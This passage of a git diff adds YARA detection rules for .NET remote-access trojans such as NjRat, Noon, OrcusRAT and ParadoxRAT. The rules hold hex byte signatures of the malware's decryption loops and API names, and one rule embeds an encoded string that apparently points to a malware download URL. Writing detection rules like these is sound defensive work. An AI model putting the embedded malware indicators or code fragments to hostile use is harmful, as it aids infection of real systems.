& 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1) >=8 + +} \ No newline at end of file diff --git a/Trojan/BAT/NjRat/Trojan_BAT_NjRAT_ZUT_MTB.yar b/Trojan/BAT/NjRat/Trojan_BAT_NjRAT_ZUT_MTB.yar new file mode 100644 index 0000000000..cb5ce15aa3 --- /dev/null +++ b/Trojan/BAT/NjRat/Trojan_BAT_NjRAT_ZUT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_NjRAT_ZUT_MTB{ + meta: + description = "Trojan:BAT/NjRAT.ZUT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {0a 72 a4 00 00 70 0b 06 8e 69 8d ?? 00 00 01 0c 16 0d 38 1a 00 00 00 08 09 06 09 91 07 09 07 6f ?? 00 00 0a 5d 6f ?? 00 00 0a 61 d2 9c 09 17 58 0d 09 06 8e 69 32 e0 08 2a } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/NjRat/Trojan_BAT_NjRat_ABUA_MTB.yar b/Trojan/BAT/NjRat/Trojan_BAT_NjRat_ABUA_MTB.yar new file mode 100644 index 0000000000..eabe2daa93 --- /dev/null +++ b/Trojan/BAT/NjRat/Trojan_BAT_NjRat_ABUA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_NjRat_ABUA_MTB{ + meta: + description = "Trojan:BAT/NjRat.ABUA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {fe 0c 03 00 fe 0c 02 00 9a fe 0e 01 00 fe 0c 00 00 fe 0c 01 00 20 02 00 00 00 28 ?? 00 00 0a 28 ?? 00 00 0a 28 ?? 00 00 0a 28 ?? 00 00 0a fe 0e 00 00 fe 0c 02 00 20 01 00 00 00 d6 fe 0e 02 00 fe 0c 02 00 fe 0c 03 00 8e b7 3f ?? ff ff ff fe 0c 00 00 28 ?? 00 00 0a 28 ?? 00 00 0a 6f ?? 00 00 0a 14 14 6f ?? 00 00 0a 26 2a } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/NjRat/Trojan_BAT_NjRat_AGZA_MTB.yar b/Trojan/BAT/NjRat/Trojan_BAT_NjRat_AGZA_MTB.yar new file mode 100644 index 0000000000..971738b0c6 --- /dev/null +++ b/Trojan/BAT/NjRat/Trojan_BAT_NjRat_AGZA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_NjRat_AGZA_MTB{ + meta: + description = "Trojan:BAT/NjRat.AGZA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 00 " + + strings : + $a_03_0 = {0a 17 da 0c 16 0d 2b 3b 06 6f ?? 00 00 0a 17 da 13 04 16 13 05 2b 22 7e ?? 00 00 04 06 11 05 09 6f ?? 00 00 0a 13 06 12 06 28 ?? 00 00 0a 6f ?? 00 00 0a 11 05 17 d6 13 05 11 05 11 04 31 d8 09 17 d6 0d 09 08 31 c1 7e ?? 00 00 04 6f ?? 00 00 0a 0b 07 28 ?? 00 00 06 2c 15 } //4 + $a_03_1 = {20 0f 27 00 00 8d ?? 00 00 01 0d 73 ?? 00 00 0a 0a 72 ?? 00 00 70 d0 ?? 00 00 01 28 ?? 00 00 0a 06 6f ?? 00 00 0a d0 ?? 00 00 02 28 ?? 00 00 0a 6f ?? 00 00 0a 17 73 ?? 00 00 0a 0b 07 6f ?? 00 00 0a 0c 08 } //2 + condition: + ((#a_03_0 & 1)*4+(#a_03_1 & 1)*2) >=6 + +} \ No newline at end of file diff --git a/Trojan/BAT/NjRat/Trojan_BAT_NjRat_ARAB_MTB.yar b/Trojan/BAT/NjRat/Trojan_BAT_NjRat_ARAB_MTB.yar new file mode 100644 index 0000000000..594f5bc59b --- /dev/null +++ b/Trojan/BAT/NjRat/Trojan_BAT_NjRat_ARAB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_NjRat_ARAB_MTB{ + meta: + description = "Trojan:BAT/NjRat.ARAB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {07 06 02 06 91 11 05 61 11 04 08 91 61 b4 9c 08 03 6f ?? 00 00 0a 17 da 33 04 16 0c 2b 04 08 17 d6 0c 06 17 d6 0a 06 11 06 31 d5 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/NjRat/Trojan_BAT_NjRat_AUYA_MTB.yar b/Trojan/BAT/NjRat/Trojan_BAT_NjRat_AUYA_MTB.yar new file mode 100644 index 0000000000..6af60de803 --- /dev/null +++ b/Trojan/BAT/NjRat/Trojan_BAT_NjRat_AUYA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_NjRat_AUYA_MTB{ + meta: + description = "Trojan:BAT/NjRat.AUYA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 00 " + + strings : + $a_03_0 = {11 05 11 06 8f ?? 00 00 01 25 71 ?? 00 00 01 11 06 0e 04 58 20 ff 00 00 00 5f d2 61 d2 81 ?? 00 00 01 1f 0d 13 0e 38 } //5 + $a_01_1 = {11 05 11 08 09 06 11 08 58 93 11 06 11 08 07 58 11 07 5d 93 61 d1 9d 17 11 08 58 13 08 00 11 08 08 fe 04 2d da } //2 + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*2) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/NjRat/Trojan_BAT_NjRat_BAA_MTB.yar b/Trojan/BAT/NjRat/Trojan_BAT_NjRat_BAA_MTB.yar new file mode 100644 index 0000000000..935dcf6417 --- /dev/null +++ b/Trojan/BAT/NjRat/Trojan_BAT_NjRat_BAA_MTB.yar @@ -0,0 +1,21 @@ + +rule Trojan_BAT_NjRat_BAA_MTB{ + meta: + description = "Trojan:BAT/NjRat.BAA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {00 11 09 11 0d 11 0e 11 0c 11 0e 59 ?? ?? ?? ?? ?? 13 0f 11 0f 16 fe 01 16 fe 01 13 13 11 13 2d 02 2b 14 11 0e 11 0f 58 13 0e 00 11 0e 11 0c fe 04 13 13 11 13 2d c9 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} +rule Trojan_BAT_NjRat_BAA_MTB_2{ + meta: + description = "Trojan:BAT/NjRat.BAA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {73 25 00 00 0a 0c 08 07 ?? ?? 00 00 0a 17 73 27 00 00 0a 0d 09 02 16 02 8e b7 ?? ?? 00 00 0a 09 ?? ?? 00 00 0a de 0a 09 2c 06 09 ?? ?? 00 00 0a dc 08 ?? ?? 00 00 0a 0a de 18 de 0a } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/NjRat/Trojan_BAT_NjRat_NEPB_MTB.yar b/Trojan/BAT/NjRat/Trojan_BAT_NjRat_NEPB_MTB.yar new file mode 100644 index 0000000000..3c6544ba14 --- /dev/null +++ b/Trojan/BAT/NjRat/Trojan_BAT_NjRat_NEPB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_NjRat_NEPB_MTB{ + meta: + description = "Trojan:BAT/NjRat.NEPB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {11 04 06 16 11 05 6f 73 00 00 0a 00 08 06 16 06 8e b7 6f 7f 00 00 0a 13 05 00 11 05 16 fe 02 13 06 11 06 2d db } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/NjRat/Trojan_BAT_NjRat_PGG_MTB.yar b/Trojan/BAT/NjRat/Trojan_BAT_NjRat_PGG_MTB.yar new file mode 100644 index 0000000000..551dd39073 --- /dev/null +++ b/Trojan/BAT/NjRat/Trojan_BAT_NjRat_PGG_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_NjRat_PGG_MTB{ + meta: + description = "Trojan:BAT/NjRat.PGG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {13 06 11 06 16 06 06 14 6f ?? ?? ?? 0a a2 00 11 06 17 14 a2 00 11 06 14 14 14 17 28 ?? ?? ?? 0a 26 00 2a } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/NjRat/Trojan_BAT_NjRat_PGN_MTB.yar b/Trojan/BAT/NjRat/Trojan_BAT_NjRat_PGN_MTB.yar new file mode 100644 index 0000000000..ea28bd8bc9 --- /dev/null +++ b/Trojan/BAT/NjRat/Trojan_BAT_NjRat_PGN_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_NjRat_PGN_MTB{ + meta: + description = "Trojan:BAT/NjRat.PGN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {06 11 07 6c 23 00 00 00 00 00 00 00 40 5b 28 ?? 00 00 0a b7 07 11 07 18 6f ?? 00 00 0a 1f 10 28 ?? 00 00 0a 9c 00 11 07 18 d6 13 07 11 07 11 0b 13 0d 11 0d 31 ca } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/NjRat/Trojan_BAT_NjRat_ZZO_MTB.yar b/Trojan/BAT/NjRat/Trojan_BAT_NjRat_ZZO_MTB.yar new file mode 100644 index 0000000000..a82daf4772 --- /dev/null +++ b/Trojan/BAT/NjRat/Trojan_BAT_NjRat_ZZO_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_NjRat_ZZO_MTB{ + meta: + description = "Trojan:BAT/NjRat.ZZO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 00 " + + strings : + $a_03_0 = {09 11 05 6f ?? 00 00 0a 00 11 04 13 06 09 6f ?? 00 00 0a 13 07 11 07 11 06 20 ff ff ff ff 20 2f 01 00 00 20 d9 0b 00 00 fe 04 69 58 11 06 8e 69 6f ?? 00 00 0a 13 08 11 08 0a 2b 00 06 2a } //10 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*10+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=12 + +} \ No newline at end of file diff --git a/Trojan/BAT/NjRat/Trojan_BAT_Njrat_ZNQ_MTB.yar b/Trojan/BAT/NjRat/Trojan_BAT_Njrat_ZNQ_MTB.yar new file mode 100644 index 0000000000..bfde84d185 --- /dev/null +++ b/Trojan/BAT/NjRat/Trojan_BAT_Njrat_ZNQ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Njrat_ZNQ_MTB{ + meta: + description = "Trojan:BAT/Njrat.ZNQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {25 26 0c 08 0a 1f 0a 2b 38 2b ae 08 11 05 02 11 05 91 09 61 11 04 07 91 61 b4 9c 07 03 6f ?? 00 00 0a 25 26 17 da fe 01 13 07 11 07 2c 49 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/NjRat/Trojan_BAT_Njrat_ZOV_MTB.yar b/Trojan/BAT/NjRat/Trojan_BAT_Njrat_ZOV_MTB.yar new file mode 100644 index 0000000000..12fbf99d60 --- /dev/null +++ b/Trojan/BAT/NjRat/Trojan_BAT_Njrat_ZOV_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Njrat_ZOV_MTB{ + meta: + description = "Trojan:BAT/Njrat.ZOV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {07 11 04 91 0d 07 11 04 07 11 05 91 9c 07 11 05 09 9c 07 11 04 91 07 11 05 91 58 20 00 01 00 00 5d 13 07 02 11 06 8f ?? 00 00 01 25 71 ?? 00 00 01 07 11 07 91 61 d2 81 ?? 00 00 01 11 06 17 58 13 06 11 06 02 16 6f ?? 00 00 0a 32 8f } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/NjRat/Trojan_BAT_nJRat_ANJ_MTB.yar b/Trojan/BAT/NjRat/Trojan_BAT_nJRat_ANJ_MTB.yar index 917bc62463..ebaa94f142 100644 --- a/Trojan/BAT/NjRat/Trojan_BAT_nJRat_ANJ_MTB.yar +++ b/Trojan/BAT/NjRat/Trojan_BAT_nJRat_ANJ_MTB.yar @@ -61,4 +61,15 @@ rule Trojan_BAT_nJRat_ANJ_MTB_6{ condition: ((#a_03_0 & 1)*3+(#a_03_1 & 1)*2) >=5 +} +rule Trojan_BAT_nJRat_ANJ_MTB_7{ + meta: + description = "Trojan:BAT/nJRat.ANJ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {14 0a 17 0b 2b 3b 00 02 07 28 ?? 00 00 0a 28 ?? 00 00 0a 03 07 03 6f ?? 00 00 0a 5d 17 58 28 ?? 00 00 0a 28 ?? 00 00 0a 59 0c 06 08 28 ?? 00 00 0a 8c ?? 00 00 01 28 ?? 00 00 0a 0a 00 07 17 } //3 + $a_03_1 = {58 17 59 17 58 17 59 17 58 8d ?? 00 00 01 0c 08 8e 69 17 59 0d 16 13 04 2b 1b 08 11 04 07 11 04 1e 5a 1e 6f ?? 00 00 0a 18 28 ?? 00 00 0a 9c 11 04 17 58 13 04 11 04 09 fe 02 16 fe 01 } //2 + condition: + ((#a_03_0 & 1)*3+(#a_03_1 & 1)*2) >=5 + } \ No newline at end of file diff --git a/Trojan/BAT/Noon/Trojan_BAT_Noon_EANJ_MTB.yar b/Trojan/BAT/Noon/Trojan_BAT_Noon_EANJ_MTB.yar new file mode 100644 index 0000000000..9eb257504f --- /dev/null +++ b/Trojan/BAT/Noon/Trojan_BAT_Noon_EANJ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Noon_EANJ_MTB{ + meta: + description = "Trojan:BAT/Noon.EANJ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {17 13 0e 11 0d 6c 28 9c 00 00 0a 28 8d 00 00 0a b7 13 0f 18 13 10 2b 1a 11 0d 11 10 5d 16 fe 01 13 11 11 11 2c 05 16 13 0e 2b 0d 00 11 10 17 d6 13 10 11 10 11 0f 31 e0 11 0e 13 12 11 12 2c 07 11 06 17 d6 13 06 00 00 11 0d 17 d6 13 0d 11 0d 20 88 13 00 00 31 a9 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Noon/Trojan_BAT_Noon_EANW_MTB.yar b/Trojan/BAT/Noon/Trojan_BAT_Noon_EANW_MTB.yar new file mode 100644 index 0000000000..d4680ca381 --- /dev/null +++ b/Trojan/BAT/Noon/Trojan_BAT_Noon_EANW_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Noon_EANW_MTB{ + meta: + description = "Trojan:BAT/Noon.EANW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {11 09 11 39 16 9c 11 39 17 58 13 39 11 39 1f 0a 11 09 8e 69 ?? ?? ?? ?? ?? 32 e5 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Noon/Trojan_BAT_Noon_ZBU_MTB.yar b/Trojan/BAT/Noon/Trojan_BAT_Noon_ZBU_MTB.yar new file mode 100644 index 0000000000..f33d0f7398 --- /dev/null +++ b/Trojan/BAT/Noon/Trojan_BAT_Noon_ZBU_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Noon_ZBU_MTB{ + meta: + description = "Trojan:BAT/Noon.ZBU!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {02 12 01 28 ?? 00 00 0a 12 01 28 ?? 00 00 0a 6f ?? 00 00 0a 13 05 04 03 6f ?? 00 00 0a 59 13 06 11 06 19 32 29 03 12 05 28 ?? 00 00 0a 6f ?? 00 00 0a 03 12 05 28 ?? 00 00 0a 6f ?? 00 00 0a 03 12 05 28 ?? 00 00 0a 6f ?? 00 00 0a 2b 47 11 06 16 31 42 19 8d ?? 00 00 01 25 16 12 05 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/Noon/Trojan_BAT_Noon_ZDT_MTB.yar b/Trojan/BAT/Noon/Trojan_BAT_Noon_ZDT_MTB.yar new file mode 100644 index 0000000000..49ab285974 --- /dev/null +++ b/Trojan/BAT/Noon/Trojan_BAT_Noon_ZDT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Noon_ZDT_MTB{ + meta: + description = "Trojan:BAT/Noon.ZDT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {02 11 1e 11 1f 6f ?? 00 00 0a 13 22 12 22 28 ?? 00 00 0a 16 61 d2 13 23 12 22 28 ?? 00 00 0a 16 61 d2 13 24 12 22 28 ?? 00 00 0a 16 61 d2 13 25 19 8d ?? 00 00 01 13 26 11 26 16 11 23 6c 23 00 00 00 00 00 e0 6f 40 5b a1 11 26 17 11 24 6c } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/Noon/Trojan_BAT_Noon_ZIT_MTB.yar b/Trojan/BAT/Noon/Trojan_BAT_Noon_ZIT_MTB.yar new file mode 100644 index 0000000000..e99d090df0 --- /dev/null +++ b/Trojan/BAT/Noon/Trojan_BAT_Noon_ZIT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Noon_ZIT_MTB{ + meta: + description = "Trojan:BAT/Noon.ZIT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {02 11 17 11 21 6f ?? 00 00 0a 13 23 73 50 00 00 0a 13 24 11 24 72 ?? ?? 00 70 11 17 11 21 73 5f 00 00 0a 6f ?? 00 00 0a 00 11 24 72 ?? ?? 00 70 28 ?? 00 00 0a 8c 2a 00 00 01 6f ?? 00 00 0a 00 11 24 72 ?? ?? 00 70 72 ?? ?? 00 70 11 0a 1e 5d 13 2d 12 2d 28 ?? 00 00 0a 28 ?? 00 00 0a 6f ?? 00 00 0a 00 11 24 72 ?? ?? 00 70 11 16 8c 51 00 00 01 6f ?? 00 00 0a 00 11 10 11 24 6f ?? 00 00 0a 00 12 23 28 ?? 00 00 0a 13 25 12 23 28 ?? 00 00 0a 13 26 12 23 28 ?? 00 00 0a 13 27 1b } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/Noon/Trojan_BAT_Noon_ZTQ_MTB.yar b/Trojan/BAT/Noon/Trojan_BAT_Noon_ZTQ_MTB.yar new file mode 100644 index 0000000000..1cd736a571 --- /dev/null +++ b/Trojan/BAT/Noon/Trojan_BAT_Noon_ZTQ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Noon_ZTQ_MTB{ + meta: + description = "Trojan:BAT/Noon.ZTQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {03 11 04 09 6f ?? 00 00 0a 13 09 12 09 28 ?? 00 00 0a 0a 12 09 28 ?? 00 00 0a 0b 12 09 28 ?? 00 00 0a 0c 06 13 06 07 13 06 08 13 06 11 06 11 06 11 06 28 ?? 00 00 0a 13 05 03 11 04 09 11 05 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/Noon/Trojan_BAT_Noon_ZZE_MTB.yar b/Trojan/BAT/Noon/Trojan_BAT_Noon_ZZE_MTB.yar new file mode 100644 index 0000000000..23c2f23bac --- /dev/null +++ b/Trojan/BAT/Noon/Trojan_BAT_Noon_ZZE_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Noon_ZZE_MTB{ + meta: + description = "Trojan:BAT/Noon.ZZE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 00 " + + strings : + $a_03_0 = {03 09 11 05 6f ?? 00 00 0a 13 07 12 07 28 ?? 00 00 0a 20 ?? 00 00 00 fe 04 13 06 11 06 2c 04 07 17 d6 0b 11 05 17 d6 13 05 11 05 11 04 31 d1 } //6 + $a_03_1 = {b7 0f 01 28 ?? 00 00 0a 6c 23 bc 74 93 18 04 56 d6 3f 5a 0f 01 28 ?? 00 00 0a 6c 23 c1 ca a1 45 b6 f3 e5 3f 5a 58 0f 01 28 ?? 00 00 0a 6c 23 1b 2f dd 24 06 81 c5 3f 5a 58 } //5 + condition: + ((#a_03_0 & 1)*6+(#a_03_1 & 1)*5) >=11 + +} \ No newline at end of file diff --git a/Trojan/BAT/Noswk/Trojan_BAT_Noswk_PGN_MTB.yar b/Trojan/BAT/Noswk/Trojan_BAT_Noswk_PGN_MTB.yar new file mode 100644 index 0000000000..5dec7a725d --- /dev/null +++ b/Trojan/BAT/Noswk/Trojan_BAT_Noswk_PGN_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_Noswk_PGN_MTB{ + meta: + description = "Trojan:BAT/Noswk.PGN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 00 " + + strings : + $a_80_0 = {59 55 68 53 4d 47 4e 49 54 54 5a 4d 65 54 6c 76 59 54 4e 57 4d 55 78 74 4f 58 70 6a 65 54 46 71 59 6d 6b 78 62 32 49 79 4e 57 35 68 4d 6a 6c 31 57 6e 6b 31 61 47 4a 48 62 44 56 6b 56 7a 56 71 59 33 6b 31 61 6d 49 79 4d 48 5a 53 62 57 77 30 54 44 42 61 63 47 56 44 4e 54 42 6c 53 46 45 39 } //YUhSMGNITTZMeTlvYTNWMUxtOXpjeTFqYmkxb2IyNW5hMjl1Wnk1aGJHbDVkVzVqY3k1amIyMHZSbWw0TDBacGVDNTBlSFE9 1 + $a_01_1 = {44 65 6f 62 66 75 73 63 61 74 65 53 74 72 69 6e 67 } //2 DeobfuscateString + $a_01_2 = {44 65 63 6f 64 65 42 61 73 65 36 34 54 6f 55 72 6c } //2 DecodeBase64ToUrl + condition: + ((#a_80_0 & 1)*1+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Orcusrat/Trojan_BAT_OrcusRAT_EABP_MTB.yar b/Trojan/BAT/Orcusrat/Trojan_BAT_OrcusRAT_EABP_MTB.yar new file mode 100644 index 0000000000..f511746da9 --- /dev/null +++ b/Trojan/BAT/Orcusrat/Trojan_BAT_OrcusRAT_EABP_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_OrcusRAT_EABP_MTB{ + meta: + description = "Trojan:BAT/OrcusRAT.EABP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {06 09 06 09 91 08 09 08 8e 69 5d 91 61 d2 9c 09 17 58 0d 09 06 8e 69 32 e7 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/ParadoxRAT/Trojan_BAT_ParadoxRAT_APR_MTB.yar b/Trojan/BAT/ParadoxRAT/Trojan_BAT_ParadoxRAT_APR_MTB.yar new file mode 100644 index 0000000000..ac0c755709 --- /dev/null +++ b/Trojan/BAT/ParadoxRAT/Trojan_BAT_ParadoxRAT_APR_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_ParadoxRAT_APR_MTB{ + meta: + description = "Trojan:BAT/ParadoxRAT.APR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {2c 35 02 7b ?? 00 00 04 06 9a 6f ?? 00 00 0a 2c 0e 02 7b ?? 00 00 04 06 9a 16 6f ?? 00 00 0a 02 7b ?? 00 00 04 06 9a 6f ?? 00 00 0a 02 7b ?? 00 00 04 06 14 a2 2b 05 } //3 + $a_03_1 = {0d 16 0c 2b 65 09 08 9a 0a 06 6f ?? 00 00 0a 6f ?? 00 00 0a 02 16 28 ?? 00 00 0a 16 33 48 06 6f ?? 00 00 0a 6f ?? 00 00 0a 28 ?? 00 00 0a 6f } //2 + condition: + ((#a_03_0 & 1)*3+(#a_03_1 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Perseus/Trojan_BAT_Perseus_NITA_MTB.yar b/Trojan/BAT/Perseus/Trojan_BAT_Perseus_NITA_MTB.yar new file mode 100644 index 0000000000..46c37109a8 --- /dev/null +++ b/Trojan/BAT/Perseus/Trojan_BAT_Perseus_NITA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Perseus_NITA_MTB{ + meta: + description = "Trojan:BAT/Perseus.NITA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {72 11 01 00 70 28 ?? 00 00 0a 74 28 00 00 01 13 09 11 09 6f ?? 00 00 0a 74 29 00 00 01 13 0a 11 0a 6f ?? 00 00 0a 73 2f 00 00 0a 6f ?? 00 00 0a 13 0b 73 31 00 00 0a 13 0c 11 0c 11 0b 6f ?? 00 00 0a 00 11 0c 6f ?? 00 00 0a 6f ?? 00 00 0a 16 6f ?? 00 00 0a 6f ?? 00 00 0a 13 0d 28 ?? 00 00 0a 72 05 01 00 70 11 05 11 06 72 fd 00 00 70 28 ?? 00 00 0a 28 ?? 00 00 0a 13 0e 11 0e 17 18 73 37 00 00 0a 13 1b } //3 + $a_03_1 = {72 c0 01 00 70 28 ?? 00 00 0a 74 28 00 00 01 13 0f 11 0f 6f ?? 00 00 0a 74 29 00 00 01 13 10 11 10 6f ?? 00 00 0a 73 2f 00 00 0a 6f ?? 00 00 0a 13 11 73 31 00 00 0a 13 12 11 12 11 11 6f ?? 00 00 0a 00 11 12 6f ?? 00 00 0a 6f ?? 00 00 0a 16 6f ?? 00 00 0a 6f ?? 00 00 0a 13 13 02 7b 0b 00 00 04 1f 1e 6f ?? 00 00 0a 00 02 7b 08 00 00 04 72 6f 02 00 70 6f ?? 00 00 0a 00 28 ?? 00 00 0a 72 9d 02 00 70 11 05 11 06 72 fd 00 00 70 28 ?? 00 00 0a 28 ?? 00 00 0a 13 14 11 14 17 18 73 37 00 00 0a 13 1d 00 11 13 28 ?? 00 00 0a 13 1e } //2 + condition: + ((#a_03_0 & 1)*3+(#a_03_1 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Pobfeaua/Trojan_BAT_Pobfeaua_A.yar b/Trojan/BAT/Pobfeaua/Trojan_BAT_Pobfeaua_A.yar new file mode 100644 index 0000000000..879420fb77 --- /dev/null +++ b/Trojan/BAT/Pobfeaua/Trojan_BAT_Pobfeaua_A.yar @@ -0,0 +1,17 @@ + +rule Trojan_BAT_Pobfeaua_A{ + meta: + description = "Trojan:BAT/Pobfeaua.A,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 07 00 00 " + + strings : + $a_01_0 = {07 08 02 08 91 06 08 06 8e 69 5d 91 61 d2 9c 08 17 58 0c } //10 + $a_01_1 = {4c 8b d1 49 bb b8 41 ff e3 } //1 + $a_01_2 = {4c 89 e1 00 00 00 00 00 55 89 e5 00 } //1 + $a_01_3 = {e8 00 00 00 00 c7 44 24 04 23 00 00 00 83 04 24 0d cb 66 8c d8 8e d0 } //1 + $a_01_4 = {48 b9 49 b8 49 b9 83 f9 00 74 10 41 8a 01 41 88 00 49 ff c0 49 ff c1 ff c9 eb eb } //1 + $a_01_5 = {55 8b ec bb b9 49 ff 74 8d 08 75 f9 e8 00 00 00 00 58 83 c0 15 50 b8 64 8b 15 ff e3 8d 64 24 04 8b e5 5d c3 } //1 + $a_01_6 = {67 48 8b 4d 10 67 48 8b 55 18 67 4c 8b 45 20 67 4c 8b 4d 28 67 48 8b 45 30 67 48 8b 7d 38 48 85 c0 74 16 48 8d 7c c7 f8 48 85 c0 74 0c ff } //1 + condition: + ((#a_01_0 & 1)*10+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=13 + +} \ No newline at end of file diff --git a/Trojan/BAT/Pretoria/Trojan_BAT_Pretoria_ZLR_MTB.yar b/Trojan/BAT/Pretoria/Trojan_BAT_Pretoria_ZLR_MTB.yar new file mode 100644 index 0000000000..a4bfc13533 --- /dev/null +++ b/Trojan/BAT/Pretoria/Trojan_BAT_Pretoria_ZLR_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_Pretoria_ZLR_MTB{ + meta: + description = "Trojan:BAT/Pretoria.ZLR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 03 00 00 " + + strings : + $a_03_0 = {1f 09 0b 04 03 07 5d 9a 28 ?? 00 00 